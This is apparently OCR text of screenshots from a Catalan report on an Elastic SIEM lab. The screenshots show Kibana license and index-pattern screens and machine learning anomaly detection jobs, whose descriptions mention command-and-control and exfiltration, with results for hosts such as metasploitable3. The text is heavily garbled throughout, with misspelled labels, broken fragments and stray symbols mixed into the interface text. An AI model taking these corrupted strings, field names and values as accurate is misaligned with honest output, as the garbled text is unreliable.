@ Your Trial license is active

Your license will expire on June 16, 2020 12:45 PM CEST

Update your license Extend your trial Revert to Basic license

Youll revert 1o our free leatures and lose access (o
machine learning, advanced security, snd other

1 you'd like to continue using machine learning,
advanced security, and our other swesame Platinum

festures, reques! an extEnsion now. Platinum features.

Revert to Basic

Captura 170: Finestra d’Index Patterns

B oneseren
P
I Management
Index Lifccyce Poces
oMo Jobs
Tanstorms
Cross-Clustr Replcation
Romote Custers
watcner
Snapshol an Restore
Uicense Mansgemant
80 Upgrade Assistant

E Kibana
Index Pattems
Saved Gbjects
Spaces
Reporting

Advanced Settings

License management

Index patterns @

Q search

Pattern T

packetbeat -+

apm-e

apm-*

awscloudtrial-*

filebeat-7.8.2-+

x pattermns?_ g=0

Bat L gTe @
a = @

filgbeat-cioudtrai-=

Rows per page: 10~ 1

163



e M T

F ®

8
(]
2

Y & d

ex

@

(23

o B B

a
D
=

[0

]

®

o B 8B

=

€ A Noseguro

Captura 171: Creaci6 d’Index Pattern |

Management | Index patterns

a
= Elasticsearch
Index Management
Index Lifecycle Plicies
Rallup Jobs
Transforms
Cross-

luster Replication
Remote Clusters
Watcher

Snapshat and Restore
License Management

8.0 Upgrade Assistant

E Kibana
Index Patterns
Saved Objects
Spaces
Reporting

Advanced Settings

% Logstash

C A Nosegurm |

_pattem?_g=()

Create index pattern

Create index pattern

Kibana uses index patterns to retrieve data from Elasticsearch indices for things like visualizations.

Step 1 of 2: Define index pattern

Index pattern
auditbeat-*

You can use 3 * 35

You can't use spaces o the characters \, /2,

widcard in your index patter

+ Success! Your index pattern matches 4 indices

auditbeat-7.4.0-2020.04.05-000001
auditbeat-7.6.1-2020.03.26-000001
auditbeat-7.6.1-2020.04.30-000002

auditbeat-7.6.2-2020.04.05-000001

Rows per page: 10 ~

Captura 172: Creaci6 d’Index Pattern Il

Management  Index patterns

= Elasticsearch
Index Management
Index Lifecycle Policies
Rollup Jobs
Transtorms
Cross-Cluster Repiication
Remote Clusters
Watcher
Snapshot and Restore
License Management

80 Upgrade Assistant

% Kibana
Index Patterns
Saved Objects
Spaces
Reporting

Advanced Settinas

_pattern?_g=0

Create index pattern

Create index pattern

Kibana uses index pattems to retrieve data from Elasticsearch indices for things like visualizations

Step 2 of 2: Configure settings

You've defined auditbeat-* as your index pattern. Now you can specify some settings before we create it.

Time Filter fleld name Refresn
@timestamp

The Time Fi

down your data by 3 time range.

> Show advanced options

8.2.4.2.

¢ will use this fiekd 10 filter your data by time

not to have a time field, but you wit no!

be able to

Deteccio
Machine Lea

< Back

d’anomalies
rning

Captura 173: Models pre-creats

A r BAE S O
o = @

X Include system indices

> Mext step

B QWA GE
@

X Include system indices

mitjangant

C A Noseguo

@\ Overview

SIEM  Overview

Hosts

B~ Search
©  +Addfiter

Recent timelines

[ « [

You haven't favorited any timelines yet. Get
out there and start threat hunting!

View all timelines

Security news

Elastic Security 7.7.0 released
2020-05-15

Elastic Security introduces embedded
ServiceNow ITSM

Easily visualizing MITRE ATT&CK®

round 2 evaluation results in

Kibana L
2020-04-21

Check out this blog post to explore the

MITRE ATTECK 2val round 2 resutis

visualized in an easy-to-configure Kibana

dashboard,

Generating MITRE ATT&CK® -
signals in Elastic SIEM with sysmon |~ g
data

Network  Detections

Timelines

Signal count

Showing: 0 signals

External alert count

Showing: 0 external

5 10 fromStes

15897125981

ANOMALY DETECTION SETTINGS

timera.

A% & GE
Q¢

@ Add data

Anomaly detection v

Run any of the Machine Learning jobs below to view anomalous events throughout the SIEM application.
We've provided a few common detection jobs to get you started. If you wish to add your own custom
jobs, simply create and tag them with “SIEM” from the Machine Learning application for inclusion here.

Q e.g. rare_process.finux

Showing: 23 jobs

Job name.

Groups v

linux_anomalous_user_name_ecs

Audi

packetbeat_dns_tunneling

SIEM

and-control

mally active

er which may be

indicate commang

d indicate command

packetbeat_rare_server_domain

SIEM Packetbeat: Looks for unusual HTTP o TLS destination domain activity
uid indicate execution, p ommand-and-control or data

exfittration activity (beta)

packetbeat_rare_urls

SIEM Packatbeat  unusual wab browsing URL activity that could

164

Elastic jobs  Custom jobs
Jiew signals
Groups Run job
auditbeat
X
process | siem
dns | packetbeat
X
siem
dns | packetbeat
X
siom
View alerts
packetbest | siem
X
web
packatbeat | siem
X
web



Captura 174: Model rare_process_by host_linux_ecs |

5 C A MNoseguro | elasticstackmist fmidjexpiorer? x g TR Gaeprocessbyhostl. Bl A A 8 XK G E @ 0 :

ion | Anamaly Explorer e = @

€
K @ vecreetennng anomy oste
o rare_process_by hostinux_scs | ¢ Edit job selection

QU Filter by influencer fields... (host name : elasticstack mistic.lab)

g Toplnflusncers Ancmaly timeline
host.name
=l
slasticstack mistic sb : 20-04-12 $ e 2
@& 52 [
matasploitable3-ubi404 View by Limit
10
& hostname 0 v
user.name elasticstack mistic lab. -
a
2 oo metasploitable3-ub1404 [ ]
x £
2 Anomalies
P Severity thresnold nterval
warning v Auto ~
@
time severity & aetector founa for infiuencea by actions
€ OSENBME: SESTICEIACK MEStic Jab
i
> May Sn2020 on Linux process name: systemd-shutdow = (3
@
username: root
@
hostname: efasticstack misticJab
> May 2000 2020 .0 re process executions on Linux  autodetect @
process name: avtodetect
uses.name: eiasticsesren
host.name: sissticstsck.mistic ab
> Apil 14in 2020 P rare process executions onLingx  man-db.cron @
process.name: man-db.cron
user.name: root
@

nost.name; efasticstack mistic Jsb

r

April 14tn 2020 < rare process executons on Loox un-parts @
process aame: un-parts

user.name: oot

host.name: lasticstack mistic.lab

d &

April 14th 2020 <1 rare proce:

mcutonsonLinux awk )
srocoss.name: auk

user.name: root

host.name: elasticstack mistic.lsb

> Apri 14102020 <1 are process executions cn Linux  mandb @

" peocess name: mands
user name: root

@ nost.name: metasploitable3-uo1 404

Aprl 15t 2020 <1 tare process executions on Linux

® > A " process.name: docker-runc ®
user name: root
hostname: metasploitatied-ub1 404

April 15t 2020 <1 are procoss esscutions on Linux hwelock
> Apri15th 202 o v process.name: hwclock @

username: root

8 Viewby Uit

host.name L 10 v
]
user.name etasticstack misticiab p e
root metaspiotable3-ub1404 hostname elasticstack mistic_lab
P 2 5
@
Anomalies
& Severity threshold Interval
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Captura 177: windows_anomalous_user_name_ecs

Machine Learning

Top Influencers
process.name

s exe

3 € A Nossguo

Anomaly Detection | Anomaly Explorer

Anomaly timeline

View by

process.name

sshd.exe

Anomalies
Severity threshold
warning v

time

v April 16th 2020, 19:00

Limnit

Interval
Auto ~

severity

£ Fara by “user.name*

minor anomaly in rare by "user.name" found for user.name sshd_server

Detaits on highest severity anomaly

lssciae sshd_server

time Apeil 16th 2020, 19:00:00 to Apel 18th 2020, 19:15:00
function

oo 0

probability 0.005146436653090894

Influencers

host.name winmgtasploitd. mistic. Jab

process.name sshd.exo

user.name ssnd_server

found for

ssha_server

influenced by

host name:
winmetasploit3.mistic.tab
process.name: sshd.exe

user.name: ssnd_server

Captura 178: No detecta anomalies

Bar BAEGHE O @

o = @

iob 1D actions

st
windows_snomalous.user_nsme (33
ocs

Machine Leaming

Anamaly Detection  Anamaly Explorer

Job Management Anomaly Explorer Single Metric Viewer Settings

rare._process_by_host_linux_ecs

(1 username:"SYSTEM"

Top Influencers
user.name

SYSTEM
—

test-windows_anomalous_path_activity_ees

Anomaly timeline

View by Limit

username 1

Anomalies

Severlty threshoid
warning ~

time.

Apeil 18th 2020, 12:00

Aprl 18th 2020, 1200

test-windows_anomsious_process_all_hosts._scs

" should s

test-rare_process_by_host_windows_ecs | g Edit job selection

No user.name influencers found for specified filter

nterval
Auto -
severity detector
. rare procass sxscutions on
Windows
.2 rare by “process sxecutable®
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auditbeat exe

Cprogram
Flles\auditbsatiaudiioast.exa

influenced by

hast.name: misticad.mistic.tab.

process name: audithest exe

usar.name: SYSTEM

hast.name: misticad mistic.iab.

process.name; audithest exa

user.name: SYSTEM

ma s A pgeE O
e = @

jebID

test-
rare_process_by_host_windows_ {51
ees

st
windows_anomalous_process.al {8}
|nosts.ecs



